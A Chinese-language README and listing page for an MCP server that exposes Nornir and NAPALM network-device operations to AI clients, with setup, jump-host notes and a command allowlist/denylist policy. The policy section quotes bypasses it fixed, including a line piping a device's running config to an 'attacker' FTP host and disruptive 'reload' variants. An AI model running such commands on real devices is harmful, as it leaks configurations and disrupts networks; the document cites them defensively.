关于 🌐 Nornir MCP Server
Nornir MCP Server 将基于 Nornir 和 NAPALM 的网络自动化操作开放给 MCP 客户端。它结合并发多厂商设备操作、结构化输出和可配置的命令限制策略。
主要功能
- 01并发执行多厂商设备操作
- 02NAPALM 获取器和网络命令
- 03清单与主机管理
- 04基于 Pydantic Schema 的结构化输出
- 05允许列表优先的命令策略
适用场景
- 01跨设备收集事实和接口数据
- 02运行获准的命令、ping 和 traceroute
- 03通过 MCP 工具管理网络清单
MCP 相关
它通过 `/mcp` 上的 streamable HTTP 将 Nornir 和 NAPALM 网络操作作为 MCP 工具开放。MCP 客户端可使用设备数据获取、命令和清单工具。
配置
远程服务无需本地安装。选择你使用的客户端,复制配置或使用一键安装。
http://YOUR_SERVER_IP:8000/sseclaude mcp add --transport sse nornir_mcp http://YOUR_SERVER_IP:8000/sse{"mcpServers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}在 Cursor 中打开{"servers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}在 VS Code 中打开{"mcpServers":{"nornir_mcp":{"type":"sse","url":"http://YOUR_SERVER_IP:8000/sse"}}}{"mcpServers":{"nornir_mcp":{"serverUrl":"http://YOUR_SERVER_IP:8000/sse"}}}命令在终端中运行;JSON 粘贴到对应客户端的 MCP 配置后重启。需要授权的服务会在首次连接时提示登录。
工具
详细介绍
🌐 Nornir MCP 服务
一个基于官方 MCP Python SDK v2 的 MCPServer 类构建的 MCP 服务,提供由 Nornir 和 NAPALM 驱动的网络自动化工具。
此服务充当桥梁,将 Nornir/NAPALM 网络操作封装为 MCP(模型上下文协议)工具,方便从兼容的 MCP 客户端访问。
✨ 主要功能
- 并发与多厂商支持:利用 Nornir 管理清单并并发执行网络设备任务,同时借助 NAPALM 支持多厂商设备。
- 扩展的工具集:提供 20 多种工具,包括各类 NAPALM getter(
get_facts、get_interfaces)、执行命令(send_command、ping、traceroute)和清单管理(list_all_hosts)。 - 结构化且节省 Token 的输出:
- 当平台和命令存在对应模板时,
send_command会返回经 ntc-templates 解析的结构化数据(字典列表),而不是原始 CLI 文本,这样大模型读取起来更省力;否则会自动回退到原始文本。此功能仅适用于 NAPALM 驱动基于 Netmiko 的平台(ios、nxos_ssh、iosxr等);基于 eAPI/NETCONF 的驱动(eos、junos等)始终返回原始文本。 send_command还会传递 SSH 输出过滤管道(| include ...、| section ...、| begin ...等),由设备在输出到达模型之前进行裁剪 — 详见命令执行与安全策略。- 每个 NAPALM getter 工具(
get_facts、get_interfaces等)都通过 MCP 的structured_output=True声明 Pydantic 返回模型,因此客户端会获得真正的 JSON Schema,而不只是文档字符串 — 详见 MCP 协议功能。
- 当平台和命令存在对应模板时,
- 可靠的输入验证:使用 Pydantic 模型验证所有传入工具的数据,确保类型安全并防止无效输入导致错误。
- 安全的命令执行:
send_command受可配置的命令策略(conf/command_policy.yaml)限制 — 先检查只读动词(show、ping等)白名单,并通过拒绝列表(精确命令、关键词、正则表达式模式)提供纵深防御,阻止在允许的动词后夹带危险命令。 - 容器化且快速:使用 Docker 🐳 容器化,便于快速设置;并在容器内使用
uv⚡ 实现闪电般快速的 Python 依赖管理。
🔧 前提条件
开始之前,请确保已安装以下组件:
- Docker
- Docker Compose(通常随 Docker Desktop 一同安装)
⚙️ 配置
运行服务之前,必须配置网络清单和设备凭据:
- 转到项目中的
conf/目录。 - 编辑
hosts.yaml:定义网络设备,包括其管理 IP、平台、凭据和组。 - 编辑
groups.yaml:定义具有共享属性的设备组。 - 编辑
defaults.yaml:设置默认凭据和连接选项。- **⚠️ 重要安全提示:**在生产环境中,强烈建议使用 Nornir 的密钥管理功能,以避免在 YAML 文件中存储明文凭据。
- 检查
command_policy.yaml:根据安全策略自定义allowed_prefixes(send_command接受的只读动词)和拒绝列表条目(被阻止的命令/模式)— 关于这两个层如何交互,详见命令执行与安全策略。
通过跳板机/堡垒机访问设备
Linux/macOS 上无需修改代码:NAPALM 的 SSH 驱动(ios、nxos_ssh、iosxr 等)内部封装了 Netmiko,而 Netmiko 原生支持标准 OpenSSH 配置文件中的 ProxyJump/ProxyCommand 指令。指定配置文件后,它会自动通过跳板机建立到设备的隧道连接。
- 将
conf/ssh_config.example复制为conf/ssh_config(此文件已加入 gitignore,因为它可能暴露内部主机名/代理拓扑),并填写真实的跳板机信息。 - 在
defaults.yaml(或特定的groups.yaml/hosts.yaml条目)中指定该文件:connection_options: napalm: extras: optional_args: ssh_config_file: conf/ssh_config
Netmiko 的 ProxyJump 仅支持单跳(逗号分隔的多跳链会触发错误);如需真正的多跳路径,请改用 ProxyCommand,并使用 ssh -J hop1,hop2 -W %h:%p ...——请参阅 conf/ssh_config.example 中的两个示例。
实际运行此服务的机器必须配置好跳板机自身的 SSH 密钥和 known_hosts;这是操作系统级别的 SSH 配置,不由本项目管理。
⚠️ 已知限制——在 Windows 原生环境中运行: 当此服务直接运行在 Windows 原生 Python 解释器下时(而非在基于 Linux 的 Docker 镜像中运行;后者是受支持的生产部署方式,不受此限制影响),基于
ssh_config_file的跳板机无法使用。我们已通过真实设备验证并追查到涉及的两个库的根本原因,而不是盲目尝试绕过:
- Netmiko 的
_use_ssh_config()使用os.path.abspath()解析 ssh_config 路径。在 Windows 上,无论配置中的路径采用何种写法,该函数始终返回反斜杠分隔的路径(例如C:\Users\me\nornir_mcp\conf\ssh_config)。- 该路径会嵌入
ProxyCommand字符串(ssh -F <path> -W host:port hop),随后 Paramiko 的ProxyCommand会在 POSIX 模式下使用shlex.split()解析该字符串。在此模式下,\是转义字符,因此每个反斜杠都会被静默删除(C:\Users\me\...\ssh_config→C:Usersme...sshconfig),导致路径不存在,连接失败。这是无条件的限制——无论输入如何,
abspath()和shlex.split()都会如此处理,因此修改conf/ssh_config或hosts.yaml无法规避。若需在 Windows 原生环境中测试跳板机连接(通过 Docker 部署时无需此操作),可采用以下解决方法:
- 手动建立 SSH 本地端口转发(
ssh -f -N -L <local_port>:<device_ip>:22 <jump_host>),并在hosts.yaml中直接将地址指向127.0.0.1:<local_port>,完全跳过ssh_config_file。- 或者,即使是本地开发,也在 Docker/WSL2 中运行此服务;此时路径采用 POSIX 格式,不会出现此问题。
▶️ 运行服务
配置完成后,你可以使用 Docker Compose 轻松运行服务:
docker-compose up --build -d
此命令会在 Docker 容器中启动 Nornir MCP 服务,可通过主机的 8000 端口访问。容器现在使用 run.py 作为入口点,支持开发和生产模式。
如需在本地运行服务(不使用 Docker),请使用:
python run.py --dev
或直接使用:
python run.py
默认情况下,服务将在 127.0.0.1:8000 上启动;如果需要让其他机器也能访问,请显式传入 --host 0.0.0.0(此服务可以向真实设备推送配置并运行命令,因此默认不会监听所有网络接口)。
🔌 如何连接 MCP 客户端
此项目通过使用 streamable-http 传输的 HTTP 暴露 MCP 服务。它只有一个端点:
- HTTP API 端点: http://:/mcp
关于传输方式和客户端设置的说明:
- MCP 服务本身是一个由 Uvicorn 提供服务的 HTTP 应用程序(Starlette)。请使用支持 streamable-http 传输的客户端,直接连接到
/mcp。 - 没有单独的
/sse端点——streamable-http 是一个单一端点,已在内部支持服务器发送事件流传输;不需要(也不会暴露)第二个 SSE 路径。 - 对于常见的 HTTP 客户端,你无需以 stdio 模式运行此项目。此前提到以“stdio 模式”运行服务并使用 Supergateway 代理的说明不适用于此仓库的常规用法。
MCP 客户端 JSON 配置示例(HTTP/streamable-http):
{
"name": "Nornir MCP (HTTP)",
"url": "http://localhost:8000/mcp",
"transport": "http"
}
🔒 命令执行与安全策略
send_command 是唯一一个会向设备发送操作员提供的任意文本的工具,因此受 conf/command_policy.yaml 约束——这是一个以允许列表优先的双层模型(取代了仅使用拒绝列表的旧版 conf/blacklist.yaml):
allowed_prefixes(允许列表,优先检查,是实际的安全边界):命令必须以这些动词之一开头(默认值为show、display、get、ping、traceroute),否则无论文件中的其他设置如何,都会被直接拒绝。将此项留空会禁用允许列表关卡,并退回到仅依赖拒绝列表的执行方式——不推荐。exact_commands/keywords/disallowed_patterns/regex_patterns(拒绝列表,第二步检查,提供纵深防御):用于捕获以允许动词开头、但在后面夹带危险内容的命令。拒绝列表本身永远无法做到全面——在加固此服务时发现并修复的实际漏洞包括:reload in 5/reload at 02:00绕过了仅精确匹配reload的条目——已改为通过keywords将reload作为完整单词匹配。copy run start(一种标准的 IOS 缩写)绕过了完整短语关键字copy running-config startup-config——已通过正则表达式模式copy\s+run\S*\s+start\S*修复。show running-config | redirect ftp://attacker/dump.txt——以允许动词show开头,因此仅靠允许列表无法阻止。已通过禁止管道 目标 关键字(redirect、tee、append、save)修复,同时仍允许| include、| section、| begin等普通输出筛选管道。
以上内容均通过单元测试以及对真实设备运行的实际允许列表/拒绝列表逻辑进行了验证,并非仅从代码中检查得出。
输出筛选管道
send_command 会将 SSH 管道语法原样传递给设备(例如 show interfaces | include up),因此筛选会在设备上完成,而不是在返回的载荷中进行——对于完整运行配置等大型输出,这能大幅减少 token 用量。上述策略仅会阻止用于写入/泄露输出的目标型管道,不影响筛选管道。
🧩 MCP 协议功能(v2 SDK)
此服务已从 mcp[cli]==1.15.0 的 FastMCP 迁移至 mcp[cli]>=2.1.1 的 MCPServer,并利用了多项仅限 v2 的机制:
- 工具注解(
mcp.types.ToolAnnotations):每个工具都会声明read_only_hint/destructive_hint/idempotent_hint/open_world_hint,让客户端或编排 Agent 能在协议层面判断哪些工具无需确认即可安全调用,而不必只从文档字符串中了解这一点。面向设备的工具(get_facts、send_command等)标记为open_world_hint=True,因为它们会查询状态无法完全提前获知的实时外部设备;仅限本地的工具(list_all_hosts、validate_params)标记为open_world_hint=False。 - 结构化工具输出(
@mcp.tool(structured_output=True)):每个 NAPALM getter 工具都会返回 Pydantic 模型(DeviceTaskResult、TracerouteResultModel),而非普通字典,因此 MCP 会自动为客户端生成 JSON 输出模式,并在运行时严格验证实际返回值是否符合该模式(不匹配时会报错,而不仅仅是记录其结构)。send_command和list_all_hosts则刻意不使用此功能——它们的返回结构确实会变化(ntc-templates 匹配结果与原始文本;成功结果与结构不同的错误字典),而 MCP v2 的严格运行时验证会拒绝这些合理变化的结构。 - 缓存提示(
mcp.server.caching.CacheHint):tools/list、resources/list、resources/templates/list、prompts/list和server/discover均标记为公开且可缓存 5 分钟,因为注册的工具、资源和提示词集合只会在重新部署时改变。resources/read则采用较短的 30 秒缓存提示,因为只要有人在服务运行期间编辑conf/YAML,资源内容(清单、拓扑)就可能改变。 - 资源安全(文件资源默认启用):解析资源 URI 时会自动拒绝路径遍历、绝对路径和空字节——这一点已通过实际验证,而非仅依赖 SDK 默认设置。
- 未使用——MCP 日志记录功能(
Context.info()/.warning()):此服务通过标准logging模块在本地记录日志,而非通过基于 MCPContext的协议日志功能。该 MCP 功能自 2026-07-28 规范修订版(SEP-2577,已由 OpenTelemetry 取代)起已弃用——开发期间实际尝试时触发了MCPDeprecationWarning,证实了这一点。因此,我们移除了该功能,而没有将其保留在已弃用的 API 后面。 - 未使用——进度报告/资源更新通知:经过评估后有意跳过。此处的每个工具都通过一次同步 Nornir 任务运行操作一台设备(包括
send_command的多命令场景,命令也会在单个任务中解析,而非通过异步层调用循环处理),因此没有自然的中间节点可用于报告进度,除非破坏 Nornir 每个连接执行一个任务的模型——将send_command拆分为按命令逐次执行的异步层调用,会导致每条命令都新建一个 SSH 连接,而非复用同一连接。这会造成实际的性能退化,换来的令牌/用户体验收益也不适用于此服务典型的单设备、少量命令用法。
🧠 提示词(自定义提示词函数)
此服务支持注册自定义提示词函数,并返回消息列表(MCP 提示词格式)。提示词可让你预先定义对话输入,供 MCP 客户端或由大模型驱动的 Agent 以命名提示词的形式调用。MCP Python SDK 的 MCPServer 类提供了 @server.prompt() 装饰器,用于注册函数。
主要功能:
- 使用
@server.prompt()注册同步或异步提示词函数。 - 可选提供
name、title和description,以便 MCP 客户端发现提示词。 - 提示词可以返回结构化消息,包括资源引用(适用于返回文件内容或设备清单片段)。
如何添加提示词(示例):
@server.prompt(name="list-host-names", title="List Host Names", description="Return a short list of host names from inventory")
def prompt_list_hosts() -> list:
hosts = nr_mgr.list_hosts()
return [{"role": "user", "content": f"Available hosts: {', '.join(h['device_name'] for h in hosts)}"}]
包含资源的异步示例:
@server.prompt()
async def show_topology() -> list:
topo = await server.read_resource("resource://topology")
return [{"role": "user", "content": {"type": "resource", "resource": topo}}]
使用说明:
- 注册提示词后,客户端可以通过 MCP
ListPrompts请求发现它们,并按名称调用。 - 提示词函数应保持轻量且具有确定性;避免在提示词函数中执行长时间运行的操作。如果需要从设备收集数据,可以考虑注册一个工具并在提示词中调用它,或返回简短的资源引用供客户端获取。
安全性:
- 提示词在服务进程内运行;请勿在提示词函数中执行不安全的文件操作或运行不可信代码。
📦 手动/本地安装
快速入门 — Docker(推荐)
- 使用 docker-compose 构建并运行(在仓库根目录执行):
docker-compose up --build -d
这会在容器中启动服务,默认通过端口 8000 对外提供服务。
快速入门 — 本地
- 创建并激活虚拟环境。
& .venv\Scripts\Activate.ps1
# or on Unix: python -m venv .venv; source .venv/bin/activate
- 安装运行时依赖(示例):
pip install -U pip
pip install nornir==3.5.0 nornir-napalm "mcp[cli]>=2.1.1,<3"
- 在本地运行服务(默认绑定到 127.0.0.1:8000;对于容器或需要向其他机器开放服务时,传入
--host 0.0.0.0):
python run.py
或者使用 uv(使用随附的运行器时推荐):
uv run .\run.py
如需更改主机或端口,请在运行 run.py 时使用 --host 和 --port 标志。
📚 服务提供的资源
resource://inventory/hosts— 返回主机的 JSON 数组,其中字段已清理(name、hostname、platform、groups、data)。username、password和secret等敏感键会被移除。resource://inventory/hosts/{keyword}— 返回相同格式的输出,并按关键字筛选(不区分大小写);关键字会匹配 name、hostname、platform、组名或 data 值。resource://inventory/groups— 返回组映射(已清理)。resource://topology— 解析后的resources/topology.json。resource://cisco_ios_commands— 解析后的resources/cisco_ios_commands.json。
如何添加自定义资源
- 编辑
resources.py,并添加一个名为resource_<name>的函数(例如resource_my_tools)。 - 如果函数需要 Nornir 管理器,请将单个参数命名为
nr_mgr。 - 如果需要自定义 URI,请在
RESOURCE_MAP中添加条目;否则将使用默认 URIresource://user/<name>。
resources.py 代码片段示例
def resource_my_static():
return {"hello": "world"}
def resource_my_hosts(nr_mgr):
# returns a JSON-serializable list of hosts
return nr_mgr.list_hosts()
🔐 安全说明
- Inventory YAML 文件可能包含凭据。在生产环境中,优先使用机密管理(Vault、环境变量或 Nornir 机密插件),而不是明文 YAML。
- 服务会从通过
resource://inventory/*提供的资源中移除常见敏感键(username、password、secret)。 send_command受conf/command_policy.yaml控制 — 请参阅上文的命令执行与安全策略。- 默认情况下,服务绑定到
127.0.0.1,而非0.0.0.0— 此服务可以向真实设备推送配置并运行命令,因此默认不会监听所有网络接口。如需让其他机器访问(例如在 Docker 中),请显式传入--host 0.0.0.0。 conf/ssh_config(真实跳板主机配置)已加入 gitignore,因为它可能泄露内部主机名或代理拓扑 — 仅提交conf/ssh_config.example。
贡献
- 如需提交更改,请创建 issue 或 PR。请尽量保持更改精简,并在适当时附上测试。
许可证
- MIT
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。